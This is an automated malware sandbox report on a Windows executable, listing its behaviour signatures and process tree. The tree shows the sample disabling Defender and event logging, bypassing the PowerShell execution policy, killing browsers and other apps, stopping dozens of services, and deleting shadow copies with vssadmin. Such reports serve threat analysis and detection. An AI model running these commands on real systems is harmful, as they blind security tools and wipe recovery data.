Analysis

  • max time kernel
    121s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250610-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250610-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/07/2025, 09:45

General

  • Target
    c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe
  • Size 5.2MB
  • Sample250730-lrfdeadl4x
  • SHA256 c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Stops running service(s) 4 TTPs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

    Using powershell.exe command.

  • Drops file in System32 directory 14 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 33 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Kills process with taskkill 19 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe
    "C:\Users\Admin\AppData\Local\Temp\c233aec7917cf34294c19dd60ff79a6e0fac5ed6f0cb57af98013c08201a7a1c.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:5732
    • C:\Windows\system32\net.exe
      "net" session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4632
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:5612
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1776
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell" -Command "wevtutil sl Security /e:false"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:32
        • C:\Windows\system32\wevtutil.exe
          "C:\Windows\system32\wevtutil.exe" sl Security /e:false
          3⤵
            PID:2144
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell" -Command "wevtutil sl Application /e:false"
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5456
          • C:\Windows\system32\wevtutil.exe
            "C:\Windows\system32\wevtutil.exe" sl Application /e:false
            3⤵
              PID:5172
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command "Set-ExecutionPolicy Bypass -Scope Process -Force"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3100
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM notepad.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3156
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM chrome.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5308
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM firefox.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5400
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM msedge.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1648
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM explorer.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2780
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM outlook.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3412
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM vlc.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1512
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM spotify.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:6036
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM skype.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:6140
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM discord.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5784
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM steam.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5828
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM java.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5428
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM python.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5920
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM node.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:3772
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM cmd.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5664
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM powershell.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:5676
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM taskmgr.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:6072
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM wmplayer.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:1144
          • C:\Windows\system32\taskkill.exe
            "taskkill" /F /IM tscon.exe
            2⤵
            • Kills process with taskkill
            • Suspicious use of AdjustPrivilegeToken
            PID:2528
          • C:\Windows\system32\sc.exe
            "sc" stop wuauserv
            2⤵
            • Launches sc.exe
            PID:1212
          • C:\Windows\system32\sc.exe
            "sc" stop spooler
            2⤵
            • Launches sc.exe
            PID:1248
          • C:\Windows\system32\sc.exe
            "sc" stop bits
            2⤵
            • Launches sc.exe
            PID:5312
          • C:\Windows\system32\sc.exe
            "sc" stop dnsclient
            2⤵
            • Launches sc.exe
            PID:3208
          • C:\Windows\system32\sc.exe
            "sc" stop lanmanworkstation
            2⤵
            • Launches sc.exe
            PID:3964
          • C:\Windows\system32\sc.exe
            "sc" stop winmgmt
            2⤵
            • Launches sc.exe
            PID:2868
          • C:\Windows\system32\sc.exe
            "sc" stop netsh
            2⤵
            • Launches sc.exe
            PID:4184
          • C:\Windows\system32\sc.exe
            "sc" stop iphlpsvc
            2⤵
            • Launches sc.exe
            PID:1396
          • C:\Windows\system32\sc.exe
            "sc" stop services
            2⤵
            • Launches sc.exe
            PID:5992
          • C:\Windows\system32\sc.exe
            "sc" stop RemoteAccess
            2⤵
            • Launches sc.exe
            PID:1796
          • C:\Windows\system32\sc.exe
            "sc" stop ShellHWDetection
            2⤵
            • Launches sc.exe
            PID:5804
          • C:\Windows\system32\sc.exe
            "sc" stop SCardSvr
            2⤵
            • Launches sc.exe
            PID:3324
          • C:\Windows\system32\sc.exe
            "sc" stop TrkWks
            2⤵
            • Launches sc.exe
            PID:1352
          • C:\Windows\system32\sc.exe
            "sc" stop wscsvc
            2⤵
            • Launches sc.exe
            PID:5616
          • C:\Windows\system32\sc.exe
            "sc" stop CryptSvc
            2⤵
            • Launches sc.exe
            PID:5532
          • C:\Windows\system32\sc.exe
            "sc" stop msiserver
            2⤵
            • Launches sc.exe
            PID:5472
          • C:\Windows\system32\sc.exe
            "sc" stop MpsSvc
            2⤵
            • Launches sc.exe
            PID:4060
          • C:\Windows\system32\sc.exe
            "sc" stop defragsvc
            2⤵
            • Launches sc.exe
            PID:4412
          • C:\Windows\system32\sc.exe
            "sc" stop upnphost
            2⤵
            • Launches sc.exe
            PID:5896
          • C:\Windows\system32\sc.exe
            "sc" stop WindowsUpdate
            2⤵
            • Launches sc.exe
            PID:5648
          • C:\Windows\system32\sc.exe
            "sc" stop srservice
            2⤵
            • Launches sc.exe
            PID:3544
          • C:\Windows\system32\sc.exe
            "sc" stop wsmprovhost
            2⤵
            • Launches sc.exe
            PID:4144
          • C:\Windows\system32\sc.exe
            "sc" stop AppIDSvc
            2⤵
            • Launches sc.exe
            PID:6132
          • C:\Windows\system32\sc.exe
            "sc" stop AudioEndpointBuilder
            2⤵
            • Launches sc.exe
            PID:6020
          • C:\Windows\system32\sc.exe
            "sc" stop Schedule
            2⤵
            • Launches sc.exe
            PID:1732
          • C:\Windows\system32\sc.exe
            "sc" stop eventlog
            2⤵
            • Launches sc.exe
            PID:3444
          • C:\Windows\system32\sc.exe
            "sc" stop PlugPlay
            2⤵
            • Launches sc.exe
            PID:2964
          • C:\Windows\system32\sc.exe
            "sc" stop Netman
            2⤵
            • Launches sc.exe
            PID:5056
          • C:\Windows\system32\sc.exe
            "sc" stop bthserv
            2⤵
            • Launches sc.exe
            PID:496
          • C:\Windows\system32\sc.exe
            "sc" stop CryptSvc
            2⤵
            • Launches sc.exe
            PID:1492
          • C:\Windows\system32\sc.exe
            "sc" stop ShellExperienceHost
            2⤵
            • Launches sc.exe
            PID:1476
          • C:\Windows\system32\sc.exe
            "sc" stop SMB
            2⤵
            • Launches sc.exe
            PID:5876
          • C:\Windows\system32\sc.exe
            "sc" stop WinDefend
            2⤵
            • Launches sc.exe
            PID:2672
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1504
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell" -Command "wevtutil sl Security /e:false"
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4980
            • C:\Windows\system32\wevtutil.exe
              "C:\Windows\system32\wevtutil.exe" sl Security /e:false
              3⤵
                PID:2300
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "powershell" -Command "wevtutil sl Application /e:false"
              2⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4620
              • C:\Windows\system32\wevtutil.exe
                "C:\Windows\system32\wevtutil.exe" sl Application /e:false
                3⤵
                  PID:5620
              • C:\Windows\system32\vssadmin.exe
                "vssadmin" "delete shadows" /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2636
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
              1⤵
              • Drops file in System32 directory
              • Suspicious use of AdjustPrivilegeToken
              PID:2460
            • C:\Windows\system32\svchost.exe
              C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
              1⤵
              • Drops file in System32 directory
              PID:816

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 2KB
                  • SHA256 00ae5433c0107cc164516c7849b4cff7b6faeb52e5afa65c01dbd8c7a5efe397
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 64B
                  • SHA256 24cb30bab5b03b374a25961abc5bb1f150be147e0922095997d761a9923e6606
                  • MD5 SHA1 SHA512

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 64B
                  • SHA256 de92aea2077347c06adea18e804e0c953abe84c6a3b51e673350cb5c12078894
                  • MD5 SHA1 SHA512

                  __PSScriptPolicyTest_j2vnh3h3.jrj.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_j2vnh3h3.jrj.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512

                  memory/32-85-0x000002DD3F0B0000-0x000002DD3F2CC000-memory.dmp

                  memory/816-66-0x000001C21FF40000-0x000001C21FF50000-memory.dmp

                  memory/816-72-0x000001C21FFA0000-0x000001C21FFB0000-memory.dmp

                  memory/1504-96-0x000002655CFB0000-0x000002655D1CC000-memory.dmp

                  memory/1776-95-0x0000025C442B0000-0x0000025C444CC000-memory.dmp

                  memory/3100-80-0x000001ABE1F10000-0x000001ABE212C000-memory.dmp

                  memory/4620-94-0x000002C86D490000-0x000002C86D6AC000-memory.dmp

                  memory/4980-93-0x000001DCFD260000-0x000001DCFD47C000-memory.dmp

                  memory/5456-11-0x00000157E3F30000-0x00000157E3F52000-memory.dmp

                  memory/5456-88-0x00000157E3F90000-0x00000157E41AC000-memory.dmp